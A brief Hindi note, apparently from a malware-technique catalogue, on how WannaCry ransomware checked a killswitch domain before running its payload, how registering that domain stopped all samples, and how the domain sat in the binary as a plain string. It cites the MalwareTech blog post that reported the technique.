Wannacry रैनसमवेयर ने एक किलस्विच URL का उपयोग किया जिसे मुख्य पेलोड के निष्पादन से पहले रिज़ॉल्व किया गया था। इस डोमेन के पंजीकृत होने के बाद, सभी Wannacry सैंपल निष्क्रिय कर दिए गए हैं। यह तकनीक यहाँ रिपोर्ट की गई थी : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
मज़ेदार तथ्य: यह डोमेन बिना किसी अस्पष्टीकरण के स्पष्ट स्ट्रिंग में था। काफ़ी मज़ेदार :)